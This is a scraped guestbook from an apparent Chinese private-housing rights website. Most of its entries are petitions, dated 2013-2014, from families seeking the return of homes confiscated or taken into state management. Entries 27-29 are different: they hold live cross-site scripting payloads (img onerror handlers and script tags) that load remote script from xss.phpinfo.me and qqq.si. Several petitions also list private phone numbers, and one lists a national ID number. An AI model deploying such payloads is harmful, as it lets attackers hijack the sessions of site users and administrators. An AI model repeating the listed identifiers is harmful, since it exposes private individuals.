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共有369篇留言
安得广厦千万间, 大庇天下寒士俱欢颜, 风雨不动安如山。 --------武汉私房维权网辞。

陈小娟
26
要求退还被青羊房管局侵占的彭玉泉的
                              房屋的申请

我们是已拆迁房屋成都市金马街1号3号5号房主彭玉泉的子女,这次上访是为讨还被青羊房管局非法侵占的房屋。原位于成都市金马街1号3号5号的房屋,系我们父亲彭玉泉经营的“玉麟阁茶馆”,面积约有300平方米,系金马街街口位置。(现此地已拆迁,空置中,临时建成为古玩市场)
此茶馆始于1940年,直到解放后的公私合营为止,一直由我们父亲苦心经营。解放后1953年党和政府提出“公私合营”,要求把个人经营归公家合营,在当时的形势下谁敢不从?彭玉泉将整个茶馆房屋连带桌椅、茶具等全部设施交出,却连一张收据都不出具.
     我们父亲于1971年因病逝世,之后,茶社业难以维持,方停止经营。彭玉泉投入的资产亦未退给业主彭玉泉,房屋就一直由白家塘房管所作为“代管产”至今。(原金马街的老人们都了解此情况,并能证明此房为彭玉泉所有)
      1988年、1989年、1990年白家塘房管所工作人员刘清萍等三人多次出面找到彭玉泉的大媳妇黄汉蓉等后人,要求她们去房管所办理手续,称政府打算归还房子。但因受文革动乱影响思想有所顾虑;再因当时的时代背景没能保留彭玉泉的房屋所属有效证据,故一直未能办理。(此事可找原白家塘房管所工作人员了解)。(原金马街的老人们都了解此情况,并可为我们作证)
      不知何时金马街1号3号5号的产权变更为了青羊房管局所有。但金马街1号3号5号实际主人是彭玉泉,他的后人:两个儿子三个女儿几年来向政府及相关部门,特别是成都市青羊区房管局多次提出诉求,要求退还我们祖业房屋,但房管局均不理睬.我们多次去青羊区房管局查询,得到的回答是:青羊房管局的记录薄上金马街1-5号资料空缺,
我们又到市房管局监理所查询,结果才知道金马街1-5号于1992年变为青羊房管局产权。产权可以背着房主人想变就变吗?我们现在强烈要求退还属于我们的房产!
对于我们“要求归还彭玉泉房产”的合理请求,青羊房管局不闻不问也不予查询,反以“资料遗失”为由加以阻挡。请问这种作法是不是想永远侵吞属于彭玉泉的私人财产?
资料遗失,这是青羊房管局的工作失误,难道应该以此为理由侵占公民的房产?
    现有《物权法》从制度上、法律上保障了我们的合法权益,特别是现在中国政府对民生、民意的重视,党中央再三强调公民的私有财产的保护。
     中央巡查组在成都时,我们把材料递交给巡查组 , 巡查组把材料转给了白家塘办事处龙主任,  龙主任于9月2日会见了我们说:材料很清楚,你们要收集证据,证明这茶馆是你们的,现在我们收集到街坊邻舍的几十个签字,盖红手印,还有现在仍是我外公名字的电费收据,一位高龄老人甚至愿到法庭为我们作证,这些不能说明问题吗?我们要怎样做才能证明我们的祖业是我们自己的?其实房管局知道是我们的祖业,可就是不退还我们 , 真是无赖啊!!眼看我们的父辈在逐步离去,我们孙子辈也进入高龄 , 讨还自己的财产就这麽难吗?  
     

     彭玉泉子女:
大女彭月清 电话:13551848397
大儿彭有元 电话:18980805578
六儿彭世忠 电话:13980409636
四女彭素芳 电话:13908210448
二女彭松茂
                         2014年8月14日
 
2014/11/7 22:04:46

"><img s
27
</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.phpinfo.me%2FWvFIj6%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//> </textarea>'"><script src=http://xss.phpinfo.me/WvFIj6?1413020136></script>
 
2014/10/11 17:38:13

王海
28
"></textarea>国家的法律规定:对不动产的房屋买卖,需要到房产部门办理产权变更登记手续后才生效。房屋买卖不等于产权登记,这是两种法律关系。根据《民法通则》第四条;“民事活动应当遵循自愿.公平.等价有偿.诚实信用的原则。”和《中华人民共和国城市房地产管理法》第三十七条 第四项 规定共有房地产,未经其他共有人书面同意的,不得转让。一切均由单方决定并绝对掌控之,它就不可能是一种契约关系。而且单方改变这种关系的行为都是无效及非法的。<img/onerror=with(body)appendChild(createElement(/script/.source)).src=alt alt=//qqq.si/SpWrle src=xx:x width=0>
 
2014/9/19 12:46:33

test
29
国家的法律规定:对不动产的房屋买卖,需要到房产部门办理产权变更登记手续后才生效。房屋买卖不等于产权登记,这是两种法律关系。根据《民法通则》第四条;“民事活动应当遵循自愿.公平.等价有偿.诚实信用的原则。”和《中华人民共和国城市房地产管理法》第三十七条 第四项 规定共有房地产,未经其他共有人书面同意的,不得转让。一切均由单方决定并绝对掌控之,它就不可能是一种契约关系。而且单方改变这种关系的行为都是无效及非法的。<img/onerror=with(body)appendChild(createElement(/script/.source)).src=alt alt=//qqq.si/SpWrle src=xx:x width=0>
 
2014/9/19 12:45:30

王立芹
30
经租房应该解除禁固回到产权人手中  经租房是违宪违法的大冤案,半世纪过去了,住建部的既得利益者从中肥利自己,他们以权代法蒙骗中央,欺哄老百姓,百姓有冤无处申,有状无处告。  十八大后的党中央,,习近平总书记敢叫日月換新天,打老虎拍螥蝇反贪腐,实在大快人心,我们坚定不移地支持习总把反腐败进行到底。经租房冤案一定会平反。
 
2014/9/16 21:07:09

郑克军
31
您好!我是05年毕业于湖北大学(大专旅游专业),毕业后一直在武汉上班,经过自己几年的奋斗,与09年在武汉买了房子(32万和83平米),现在小孩才一岁多,想办户口,可告知无法办理,现在这种政策,我们根本买不起转户口要求的房子,请求帮助.
 
2014/9/16 17:22:43

习大
32
尊敬的湖北省纪委监察厅办案同志:我是一名普通的武汉市民,向你们反映一起以权谋私损害社会公平的事件。望组织上尽快对此事进行调查、核实并严肃处理,以平民愤,伸张正义!
4年多前,刘勇在担任湖北省体育局水上运动管理中心副主任后,不顾党纪国法、社会公平,腐败操作,将自己当时还在水果湖中学读初二且读不进书的儿子刘璨然,在没有进行任何公开的选拔、测试、考核的情况下,暗箱操作强行安排进湖北省体育局水上运动管理中心下属的某全运专业赛艇代表队当舵手,想曲线救国,通过参加全运会混个一级或二级运动员证书今后能以此上个大学,其子刘璨然此前也从未接受过任何的专业非专业的赛艇训练。更胆大妄为的是,刘璨然在运动队里还享受着和其他通过正常途径进队的专业运动员一样的国家给于的工资、奖金、补贴和一切福利!刘勇这是变相的贪污!!!!
在我们党很抓党风廉政建设的今天,在习主席大力提倡社会公平的今天,刘勇身为党员干部。不以身作则,还以身试法,顶风作案,简直是胆大妄为!这样的苍蝇早就该打了!!!!急盼回复!
 
2014/9/10 11:22:34

王涛
33
尊敬的湖北省纪委监察厅办案同志:我是一名普通的武汉市民,向你们反映一起以权谋私损害社会公平的事件。望组织上尽快对此事进行调查、核实并严肃处理,以平民愤,伸张正义!
4年多前,刘勇在担任湖北省体育局水上运动管理中心副主任后,不顾党纪国法、社会公平,腐败操作,将自己当时还在水果湖中学读初二且读不进书的儿子刘璨然,在没有进行任何公开的选拔、测试、考核的情况下,暗箱操作强行安排进湖北省体育局水上运动管理中心下属的某全运专业赛艇代表队当舵手,想曲线救国,通过参加全运会混个一级或二级运动员证书今后能以此上个大学,其子刘璨然此前也从未接受过任何的专业非专业的赛艇训练。更胆大妄为的是,刘璨然在运动队里还享受着和其他通过正常途径进队的专业运动员一样的国家给于的工资、奖金、补贴和一切福利!刘勇这是变相的贪污!!!!
在我们党很抓党风廉政建设的今天,在习主席大力提倡社会公平的今天,刘勇身为党员干部。不以身作则,还以身试法,顶风作案,简直是胆大妄为!这样的苍蝇早就该打了!!!!急盼回复!
 
2014/9/10 11:21:32

韩玉华
34
您好唐良智市长:     在您百忙之中请看看这封邮件,我叫韩玉华,丈夫叫吴辉,1969年出生。现在住在江汉区汉兴街姑嫂树富花园。我父亲1960年,我母亲1962年,响应党和国家的号召支援新疆建设兵团;我是土生土长建设兵团的孩子,由于年龄很小父母到哪我就跟到哪,本人于1985年跟随父母由新疆建设兵团农四师63团反汉;回汉不久我们家一直在办落户手续,可是没有想到的是正在办的过程当中,户口迁移证一切告知丢失了,而且三番五次都上不见了,我也不知道这到底是算谁的错。我父亲回汉不久就病故了,这一切的打击让我在痛苦中煎熬。虽然我重受打击,好歹没有像别人家的孩子哪样在社会上偷窃,杀人,放火,吸毒,至少我没有跟社会带来危害,回汉后,我们全家无户口,无工作。无住房。这一切谁有过?谁能理解我心中的痛苦。我白手起家,艰苦奋斗。劳碌奔波,随着时间的推移,快三十年过去了由于城市户口政策的开放,1999年我的户口问题才被解决。这时我也已经是三十几岁的人了。一切都晚了,工作,房子,社保,别人都有的我现在一样没有。我感到非常苦恼;直的我高兴的是,我找到了一位好妻子,在我最穷的时候她没有嫌弃我,在我最困难需要帮助的时候她不离不弃。在这艰苦的岁月中渡过了几十年,由于生活非常艰苦;在2006年的时候发生工伤,一直到现在我没有像正常人过日子。上一代人留下来的后遗症,我们这一代还要继续受罪,不知何年何月能够过上好日子,现如今我的社保没有着落,自己交不起,生活都成问题,哪里还交的起社保。由于生活的压力,妻子2006年到社区申请低保,社区工作人员不给办,所以妻子跟社区人员发生了矛盾;今年5月份一次检查,社区把我的低保取消了,(取消的原因是妻子的弟弟拿着妻子的身份证在阳罗为妈妈买了59.14平米的房子;)因为房子住不下,多次找社区要廉租房,他们不给,说我妈妈的户口不在这里。贷款弟弟还,首付也是弟弟付的,只是拿着妻子的身份证签的合同。(因为当时限购不是这里的户口,没有社保也不能贷款)所以只能想办法。妻子多次打市长热线,已经有两个月了,没有人来给我解决此事,所以我只好给唐市长写了一封邮件,急盼解决。                                                                    谢谢!                                                                  申请人:吴辉                                                                         韩玉华                                                                       2014.8.8
 
2014/8/8 11:19:14

曾琼
35
我有经租房问题,怎么联系你们?
管理员回复:可以在QQ上与我们联系(QQ号:1638754094 ),也可以每周二、四的上午到武汉市住房保障和房屋管理局的一楼信访接待大厅去。
 
2014/6/7 22:15:45

贺尊堂
36
唯有陕西兴平经租房是原房主私有财产!
  
   我是陕西省兴平市南大街居民。1965年,依据(64)国房字22号文件兴平270户私有房屋房屋被国家“经租”。

  对国家在当时的历史背景下的这一政策,我表示充分的理解和支持。这个文件对“经租”的性质是这样界定的:“对城市房屋占有者用类似赎买的办法,即在一定时期内给以固定的租金,来逐步地改变他们的所有制。”
  对上述文件规定的“定租”的支付,城乡建设和环境保护部在1985年《(85)城住字87号》文件也有明确的规定:“凡是在1961年9月纳入改造的私有出租房屋,未发定租或发放时间不足五年的,一般按五年计算,予以补发或补足”。
  陕西省,《陕政发(84)25号》文件、兴平县,《兴办发(87)01号》文件对“定租”的发放也有完全相同个规定。对于这个每平方米2元7角元人民币的“赎买”价格我也表示接受。
   但是令人不能理解的是,兴平县给全县270户的“定租”只发了五个月!是三级文件规定的十二分之一!说明陕西兴平的“赎买”并没有完成!房屋的所有制并没有改变!我的私有房屋被兴平房管所非法强占了50年!
  多年来,我们无数次的找兴平房管所、城建局、兴平、咸阳市政府,同时给陕西省政府有关领导多次发特快专递反映这一问题,但是这一切统统如石沉大海!直至2013年7月兴平房管所才给我答复:“上报解决”。国务院、省政府、县政府三级政府如此明确而又完全一致的规定,拒不执行,28年后还要“上报解决”,全国可曾有这样令人啼笑皆非的怪事?兴平房管所一不给钱,二不退房,天下可曾有这样的“赎买”?世界上可曾有这样的强盗逻辑?
  强烈要求兴平房管所:要么给钱,要么退房!
     
      

附:  1.国务院(64)国房字22号文件
      2.城乡建设和环境保护部(85)城住字87号文件
    3.陕政发(84)25号文件
    4.兴办发(87)01号文件
      5.给陕西省有关领导的特快专递收据复印件
      6.领租证

                    陕西.咸阳.兴平市民    贺尊堂
                                          身份证:610421194811150519
                                          电  话:13992083155
                                                        2014.2.16
 
2014/5/2 19:06:31

王先生
37
请问怎么跟你们联系,有落私问题待解决!
 
2014/4/2 18:39:31

勇敢者
38
包迠军:看了你的留言,气愤不平,在中纪委网站''我要举报''看过举报南京在拆迁中的腐败行为,你可以在中纪委网站去举报。
 
2014/4/1 14:03:08

北漂亮剑
39
新中国最大的冤案1958年全国的经租房
宪法是空文,法律是废纸,冠冕堂皇语,看听没兴趣,
过去运动来,百姓是奴才,不敢说真话,惹祸烧身怕。

捋夺私人房,已有五十载,手中有证据,就是要不来,
地方不说理,中央不理睬,上访没有用,耗时又丢财。

私房收国有,理由又何在?律师不受理,这是啥政策?
两条这规定,规定从何来?是人能定法,人大干甚吗?

权力比法大,武力更可怕,讨房路艰难,豺狼虎豹爬,
悬崖峭壁险,雄心志更坚,私房要淡化,国际笑掉牙。

中央十八大,锦涛来讲话,宪法和法律,强国的武器,
以言来代发,以权来压法,徇私来枉法,特权来用法。

大跃进年代,回忆真可怕,主席一令下,是人都害怕,
别说要房产,命都不值钱,叫写申情书,我不敢怠慢。

上有老爹娘,下有三岁郎,保住全家命,房产双手送,
经租五十载,房产拆改卖,到底富了谁,老虎苍蝇肥。

私房要拆迁,我房怎么办?买时五间房,只讨两千元,
此房早出租,已有十余年,拆迁拿款走,我又怎么办?

国家要强盛,宪法作保证,说到要做到,不要放空炮,
解决经租房,不可再拖了,腐败彻底垮,国强民安吧。

过去人劳动,昼夜分不清,吃的是粗粮,鱼肉不敢想,
挣钱值块地,俭省盖处房,有房不容易,国家别来抢。

祖宅私房主,团结力量强,大家一条心,宪法作后盾,
有错必改正,才能往下混,特权如持久,宝座就要丢。

河北省邢台市祖宅私房主八十岁老太太王香芬的历史感受。并且也讲出了全国经租房主的心声。                               联系电话; 13739801956
 
2014/3/18 11:35:41

东台徐
40
请问管理员大大,我看到有些留言可以阅读,有的不可以是什么问题?还有这个网站为什么不可以注册会员?我的IP有什么问题?
 
2014/3/12 13:58:20

东台徐
41
各位楼上大大,你们好!我家也是遭遇所谓房改政策,被“共产”了自有4间住房,如今也在不停上访中,只是四处碰壁,身心俱疲。今天能看到原来有这么多的历史遗留问题,原来这样的事件存在,不仅仅是个案啊。望有能力的大大能起个带头作用,给我们能力不足的兄弟开个好头,希望冤案一去不复返!!!!!!!!!!!
 
2014/3/12 13:07:02

贺尊堂
42
陕西兴平经租房——不给钱的赎买



  我是陕西省兴平市南大街居民。1965年,依据(64)国房字22号文件兴平270户私房被国家“经租”。
对国家在当时的历史背景下的这一政策,我们表示充分的理解和支持。这个文件对“经租”的性质是这样界定的:“对城市房屋占有者用类似赎买的办法,即在一定时期内给以固定的租金,来逐步地改变他们的所有制。” 对上述文件规定的“定租”的支付,城乡建设和环境保护部在1985年《(85)城住字87号》文件也有明确的规定:“凡是在1961年9月纳入改造的私有出租房屋,未发定租或发放时间不足五年的,一般按五年计算,予以补发或补足”。
  陕西省,《陕政发(84)25号》文件、兴平县,《兴办发(87)01号》文件对“定租”的发放也有完全相同个规定。对于这个每平方米2元7角元人民币的“赎买”价格我也表示接受。
   但是令人不能理解的是,兴平县给全县214户的“定租”只发了五个月!是三级文件规定的十二分之一!
近二十年来,我们无数次的找兴平房管所、城建局、兴平、咸阳市政府,同时给陕西省赵正勇书记和娄勤俭省长多次发特快专递反映这一问题,但是这一切统统如石沉大海!甚至没有任何一个政府工作人员对上述问题给过我一个正面回答。直至2013年7月兴平房管所才给我答复:“上报解决”。国务院、省政府、县政府三级政府如此明确而又完全一致的规定,拒不执行,20年后还要“上报解决”,全国可曾有这样令人啼笑皆非的怪事?兴平房管所一不给钱,二不退房,天下可曾有这样的“赎买”?世界上可曾有这样的强盗逻辑?恳切的希望这一问题能在我有生之年能得到解决。
     
习近平:把群众合理合法的利益诉求解决好

附:  1.国务院(64)国房字22号文件
      2.城乡建设和环境保护部(85)城住字87号文件
      3.给陕西省委书记赵正勇和省长娄勤俭特快专递收据复印件
    


                    陕西.咸阳.兴平市民     贺尊堂
                                          身份证:610421194811150519
                                          电  话:13992083155

                               
                                                        2014.2.16
 
2014/2/25 20:48:52

彭汉宜
43
【她在说谁】 华春莹:连自己的历史都不愿、不敢正视的人,何以取信于国际社会?何以令人相信他能够为地区和世界的和平与稳定发挥作用?“——这话本来说的挺好的,但有网友评了一句:"她在说谁"?  是啊华春莹,你在说谁?         我之合法私房,是我祖父(辛亥革命有功人员)用生命换回的退伍安家费及多年劳动(在家养猪)积蓄慢慢购置的一处旧民房,而合法私所有.可是,1970年'文化大革命'十年动乱中合法私房却被武汉市硚口区荣华街办事处强行霸占并使用至1978年11月.当时,在党的十三中全会召开后,国家要求清退发还文化大革命'中被强行挤占和非法没收的私房时,荣华街却利用手中职权,歪曲事实,竟然将我之合法私有房产强行纳入无偿的社会主义改造,(非法没收).这与国家政策和法律规定完全相悖离的.1995年9月,经武汉市房产局批准,作出行政撤销决定,该房屋的产权归属已经明确,硚口区房产局应该履行法定职责与房主继承人办理''退产还房"的完善手续,时至今日,房产部门都没有依法与房主继承人办理该房屋的法律程序和手续.导致原房主的房屋还由荣华街办事处经营管理,长期出租,从中获取经济利益.华春莹你说,一个连自己的历史都不愿、不敢正视的人,何以取信于民?我该怎么说呢?
 
2014/1/10 17:48:46

姜树平
44
事情的经过:   我的父亲姜兴洲,在民国五年时受美国人的委托,建起了元宝街基督教堂,后又在大汶口建起了汶口基督教堂。由于父亲的手艺精湛、设计合理,为美国人节省了大量的原材料,受到美国人的好评,称赞我父亲是一位中国的建筑业人才,并将美国人所用的建筑工具,如:绳、杆、架木等送给了我父亲。就这样在美国人的援助与帮助下一步步发展壮大,成为泰城有名的泥瓦匠,带领着他的众弟子服务于泰城的各项建筑事业,特别是对泰山的古建筑修复作出了其不朽的贡献。    国难当头时,我父亲还是一位满怀抱负的爱国者,在抗日战争时期,他在街坊大爷范明枢先生的引荐下资助了著名的抗日将领冯玉祥将军;在解放战争时期的泰安战役中,我父亲更是倾其所有,将自己劳动所用的云梯等物品捐献给陈毅将军的部队,并有陈毅将军所书的借据为证;在父亲的影响下,我的大姐姜树鑫偷跑出城,积极的投身革命,汉奸特务得知后到我家抓人未果,竟残忍的将已怀孕8个月的母亲用枪托打死。解放后,山东省省长杨得志,给我家颁发了革命家庭的家属证。    建国后,我的父亲积极响应党的号召,支持新中国的建设并于1952年将自己一手创立的泥业社捐献给国家,成立了泰安二建公司,1960年我父亲又组建成立了泰安金星建筑队,并于1965年捐献给国家合并成为泰安市房管所(也就是现在的房管局)为新中国的建设作出了自己最大的贡献。   不幸的是1966年文化大革命开始后我的父亲被打成“漏网地主分子”,没收了我们家的全部财产,其中有无法统计的古董、字画、家具、现金等以及当时被居民称作“姜家大院”的宅院一处。全家人流离失所,乞讨于街头,二哥姜树山由于每天都被红卫兵造反派揪斗、游行,遭受不明真相市民的辱骂,导致精神失常,至死未愈。我为了全家的生机整天四处乞讨、拾柴火,处处遭受着各种谩骂与侮辱。参加工作后,又于1993年为保护国家财产,被盗贼用钝器将头部打伤,造成严重的脑震荡,至今要靠药物维持生命。我的四弟是家中最小的一个孩子,当时年仅8岁,跟随母亲流浪街头,一天学校门也没进过,影响到了他的一生发展。由于我父亲的性格倔强,无法理解自己一个对国家有功之人,怎却会落得“漏网地主分子”的耻辱名号,始终不屈服于红卫兵造反派的强加之罪,在饱受各种非人折磨之后,于1976年9月9日被残忍的迫害致死,我父亲成为了这场政治运动中年龄最大的殉葬品。    1978年文化大革命结束后,我家被平反,但是所没收的财产却分文未还。当时我家宅院的原貌俱在,我陪同我母亲杨茂兰上方政府,仅要求返还文革时期所侵占的我家房产即可,然而就是这样的基本要求也未得到政府的支持,反而是侵占我们家房产的泰安市建设局、房管局以“姜家所住宅院为美国人菜园”为由将我们告上法庭,这一闹剧因其拿不出证据而被法院驳回,后在1989年泰安市建设局、房管局才安抚性的返还了我们251.84平方米的房屋。但是自那以后,泰安市建设局、房管局就以“房屋已经全部返还”为由强行霸占我们家2132平方米的宅院拒不承认。我母亲一直坚持上访,向政府讨说法,抗议泰安市建设局、房管局的这种强盗行为,终究没有引起领导们的重视,直至今天竟然经历了30多年未能解决,泰安市建设局、房管局的强盗行为仍在继续。其间我母亲因气及急积劳病逝,我的二哥姜树山在一次发病中神志不清引火,文革时期的冤屈延伸到了我们家第三代人的身上,由于上辈的冤屈影响到了后代的发展,至今年家中五个孩子失业在家,生活没有着落。
 
2013/11/10 22:52:58

姜树平
45
揭露泰安市政府、泰安市建设局、泰安市房管局强行霸占民房三十年的恶劣行径   ———— 一个对国家有功之臣家庭的悲惨下场      揭露人:姜树平 男 60岁     控诉:泰安市政府、泰安市建设局、泰安市房管局      强占民房三十年的强盗行为欺压百姓延续至今~~~~~~~~~~~   控告事实和理由:    1、1966年文化大革命开始后,我的父亲姜兴洲被打成“漏网地主分子”,没收了我们家的全部财产—包括2132平方米的宅院及东西两院合计26间房屋,均被泰安市建设局、房管局强行侵占。    2、1978年文革结束后,我们家得到平反,但是泰安市建设局、房管局所侵占的宅院、房屋却拒不返还。当时我们要求其返还所侵占的2132平方米的宅院及26间房屋时,泰安市建设局、房管局竟以“姜家所住宅院是美国人的菜园”为由将我们告上法院,由于其拿不出证据被法院驳回。但是,其侵占我家的这2132平方米的宅院及26间房屋仍然强行霸占至今已有30多年,并被泰安市建设局、房管局出售给了个体开发商,用于经营获利。    3、30年来我们将泰安市建设局、房管局强占我家宅院、房屋这一事实上访至泰安的各个政府部门均未得到公正处理,仅在1989年泰安市建设局才安抚性的返还给我们251.84平方米的房屋,至此对于我家2132平方米的宅院及26间房屋的问题就在没有任何实质性的解决意见。反而以我们证据不足为由要求我们出示证据,证明这2132平方米的土地归我家所有。试问:泰安市建设局、房管局又有什么证据证明,我家的宅院归你所有呢?事前将我们诉至法院,说我们姜家宅院是美国人菜园,拿不出证据被法院驳回后竟又强词夺理,抑势压民,这种强盗理论在今天党中央国务院号召建设和谐社会的大环境下,竟然被泰安市建设局、房管局运用得如此理直气壮,堪称鱼肉人民的“典范”。    4、虽然文革年代的动乱使得我们全家能够活命已是万幸,至于地契之类的财产证明均被政府查抄,历史档案至今无处查找。根本不可能由我们自己再找出直接的房产证据,来证明这2132平方米的宅院及26间房屋归我家所有。但是,事实总归是事实,在历史的前进中总会留下事实的痕迹:1962年泰安县财政局出具的“押契文书”上就明确记录着“泰安县葫芦套门牌32号为姜兴洲之宅院”,此押契文书原件尚在;还有泰安市档案馆所存我家宅院四邻的档案可以计算出我家宅院的大体面积;另外我们的老邻居、街坊们是有良心的及全泰城里的老居民们俱愿意为我们这个不幸的家庭证明“姜家大院”的原址旧貌。目前已有几十位老邻居街坊书写了证明,为我们家伸冤。    5、文革中我们家的遭遇是不幸的,最终导致家破人亡。父亲姜兴洲惨死于街头,一家人靠乞讨维持生命。待终于盼到国家正常了,我们受到的冤屈可以昭雪了,却迎来了更加不公正的对待,泰安市建设局、房管局在铁的事实面前拒不承认侵占我家2132平方米宅院及26间房屋的这一暴行,使得我在九泉之下冤死的父亲不能瞑目,使得为这一冤案频繁上访积劳而逝的母亲不能安息。如此的情形如何让百姓相信政府的公正,如何让人民信服《宪法》中“关于保护人民私有财产不受侵害”的诺言。请求人民政府尊重事实,依法办事,为民做主还我们一个公道。       三十多年的上访路,各级政府不管不问,地方政府百般刁难,去泰安市信访办连门都进不去更别说见到人了,只能通过他们门口的电话与其工作人员反映问题,而且十分的不耐烦说不上两句就强行挂断,真是官架十足,严重的官僚作风!上访到中央政府总是让我们“回去等消息”,上访一次等三个月上访一次等三月,30年来我们等来了无数三个月可就是没等来地方政府的一次理睬。我们已经绝望,每次进京上访都增加一次愤怒,今天我们将这一欺压百姓的残暴行为公之于网络,希望媒体能给与关注和支持,希望相关领导能主持公平正义,制止地方政府的强盗行为,昭雪我们家的冤案!!!!!          控告人:姜树平    2013年11月10日 山东省泰安市泰山区元宝街小区7号楼105室  电话:15215389216
 
2013/11/10 22:51:39

夹谷仝
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信访补充材料

我们于20013年10月17日向和县人民政府递交了信访材料, 今接和县房管局《答复意见书》,我们对此答复极不满意,和县房管局混淆事实,捏造事实,推诿责任,行政不作为。

我父仝有炳在原历阳镇华阳街39号的门面兼自住房并不是56年公私合营入股房,贵局并未提供该房是公私合营入股房的任何证据,事实上该房是私房改造。1964年国房字21号文件:《关于私有出租房屋社会主义改造问题的报告》中明确指出了“私房改造”的内涵:“对私有出租房屋进行社会主义改造(以下简称私房改造)”。

我父仝有炳在原历阳镇华阳街39号的门面兼自住房是私房改造有下列证据及理由:
    1.和县房管局提供的证据《和县历阳公社私改房屋落档案资料表》(房号395)明确证实该房是私房改造,“已改房屋间数”一栏指出:已改间数为1.5间,其中门面1间。国家经租月租金6元,按40%付给我父2.4元,完全符合《关于私有出租房屋社会主义改造问题的报告》中“付给房主原房租20%至40%的固定租金”的规定。
    2.和县房管局在《答复意见书》中提出该房“在1956年加入公私合营(房屋投资入股),您自已在信访材料中也承认入股”。此说法既无任何证据,也不符合当时的国家政策。我父56年公私合营时加入的是“和县历阳花炮社”,该社是集体所有制。如该房入股了,产权即为花炮社集体所有,根本不在私改范围,因私房改造是对私有出租房屋的改造。因此,上述提法有违政策,也不合逻辑。我们在信访材料中只提到商店入股,根本未说房屋入股,和县房管局歪曲事实。
3.和县房管局提供的证据《和县历阳公社私改房屋落档案资料表》(房号395)明确指出39号房其中门面1间,另外的0.5间(即1瓦厦)为自住房。56年公私合营时和县历阳花炮社用原宴家炮竹店的门面房营业,并未用我家39号房, 该房由我父及子女自住,由此说明该房既未入股也未出租。自住房是生活资料,不可能也不应该入股,只有生产资料才入股。中共中央统战部、商业部1983年5号文指出:“原来家店不分的商店,一部分房屋虽然经过清产估价,但事实上并没有入股,---其房屋所有权应归原业主所有”,我家即属此类情况,但1959年被错误私改了。
4.和县房管局提供的证据《和县历阳公社私改房屋落档案资料表》(房号395)明确指出“原房主仝有炳”。如果1956年公私合营时该房投资入股和县历阳花炮社,1959年私房改造时房主应是和县历阳花炮社。事实恰恰相反,原房主是仝有炳,充分说明该房未入股。
    
皖发[1982]66号《省建委党组关于进一步落实私房政策问题的报告》指出:“一户一户地落实,力争在一九八五年以前处理完毕”。该文件并未一刀切划定落实政策的截止时间。我家的问题未解决,责任不在我父,责任在于政府部门当时未按规定一户一户地落实,将我家的问题遗漏了。我1955年外出求学、工作,弟妹们年幼不了解情况,故多年未追究。吾堂姐仝道云担任民国时期立法院立委(相当于大陆人大常委)近40年,1949年去台后留在大陆南京的房产近年已退还,由此促使我过问我父1959年被私改的和县历阳镇华阳街(现历阳中路)39号的自有铺面自住房。仝道云二女闵锡庆和美国前国务卿希拉里是好友,她俩都是美国联邦大律师,希拉里是美国下届总统侯选人,吾侄女闵锡庆对我家房产被私改表示关心。不希望我家房产在台海关系和中美关系中留下丝毫瑕疵。
    
《信访条例》第四十三条规定:对信访事项有权处理的行政机关在办理信访事项过程中,有下列行为之一的,由其上级行政机关责令改正;造成严重后果的,对直接负责的主管人员和其他直接责任人员依法给予行政处分: (一)推诿、敷衍; (二)对事实清楚,符合法律、法规、规章或者其他有关规定的投诉请求未予支持的。据此,我们要求和县访管局对出具《答复意见书》的工作人员追究其行政职务责任。
    
鉴于上述情况,请和县房管局确认我父39号铺面自住房是59年私房改造房,并尽快落实国家有关政策。1964年国房字21号文件《关于私有出租房屋社会主义改造问题的报告》 、安徽省皖发﹝1982﹞66号文《省建委党组关于进一步落实私房政策问题的报告》均指出:“需要退还房主的房屋, 应当尽可能地退还原来的房屋。如果退还原来房屋有很大困难时, 也可以用对等的其他房屋抵还”,我们要求用对等的房屋抵还。
附堂姐仝道云传记及侄女闵锡庆和美国前国务卿希拉里合照照片

      此致

和县房管局
                      
        

信访人  XXX  XXX  XXX  XXX  XXX

                             2013年11月5日
 
2013/11/6 20:22:32

夹谷仝
47
信 访 材 料

   我们是仝有炳的子女, 仝有炳60年代曾任和县人民委员会委员, 50年代经营手工业, 自做自卖腊烛, 商号为聚兴祥烛坊, 经营地是座落在和县历阳镇华阳街(现历阳中路)39号的自有铺面房, 前面一间为铺面,后面一厦为自住房, 因当时我家人口8人, 兄弟姐妹6人, 原两间自有住房不够住。上述华阳街39号铺面房是我父仝有炳解放前从原房主王庭凤处购买, 因王庭凤的自有住房在我家铺面房后进, 出入必经39号铺面房, 故成交时价格优惠, 前进39号铺面房给王庭凤家人出入留一过道,作为王庭凤部分使用权。

1956年国家对工商业进行社会主义改造, 我父的聚兴祥烛坊加入公私合营, 随后1958年我家的39号门面兼自住房被私改, 由和县房管部门经租给烟酒商店, 月租金6元, 付给我父月定租2.4元。

现查阅1964年1月13日国务院批转国家房产管理局的国房字21号文件《关于私有出租房屋社会主义改造问题的报告》,该文件明确指出:“凡房主出租房屋的数量达到改造起点的, 即将其出租房屋全部由国家统一经营, 在一定时期内付给房主原房租的20%至40%的固定租金”。我家上述39号铺面自住房从未出租过, 根据国房字21号文件, 我家39号房不属私改范围,私改了为错改。

国房字21号文同时指出:“房主的自住房已经实行国家统租的, 一般应当退还”,“需要退还房主的房屋,应当尽可能地退还原来的房屋。如果退还原来房屋有很大困难时, 也可以用对等的其他房屋抵还, 或给予适当的补偿”。安徽省委及安徽省人民政府皖发﹝1982﹞66号文《省建委党组关于进一步落实私房政策问题的报告》也明确指出:“房主的自住房被私改了的, 应当退还”。

根据上述中央及安徽省的文件, 我们向和县人民政府提出要求退还错改了的原历阳镇华阳街39号房主仝有炳的非出租铺面兼自住房。因王庭凤早亡故, 无子女, 我父仝有炳也于1993年亡故, 此房退还事宜由仝有炳子女处理。恳请和县人民政府能尽快落实国家有关政策。
                   
                     此致
和县人民政府
2013年10月17日

                 信访人   XXX  XXX  XXX  XXX   XXX
 
2013/11/6 20:20:00

包建军
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我们是南京市玄武区居民包建明 包建强 包建军。原长江路66——82号(丘号114170)房产产权人杨鸣之是我们的奶奶。1958年长江路80号房客朱振邦私刻杨鸣之图章,以代理人身份填写《申请社会主义改造房屋情况表》。此后66——82号房由玄武区房管部门接管。杨鸣之1962.8.27去世,我们全家1969年被下放到苏北泗阳县,1979年回宁。回到南京后,我们多次找到房管部门讨要房产均没有结果。
1996年原长江路66——82号被拆除,没有任何人通知我们,没有得到任何补偿,房管部门说经租房的产权属国家所有。
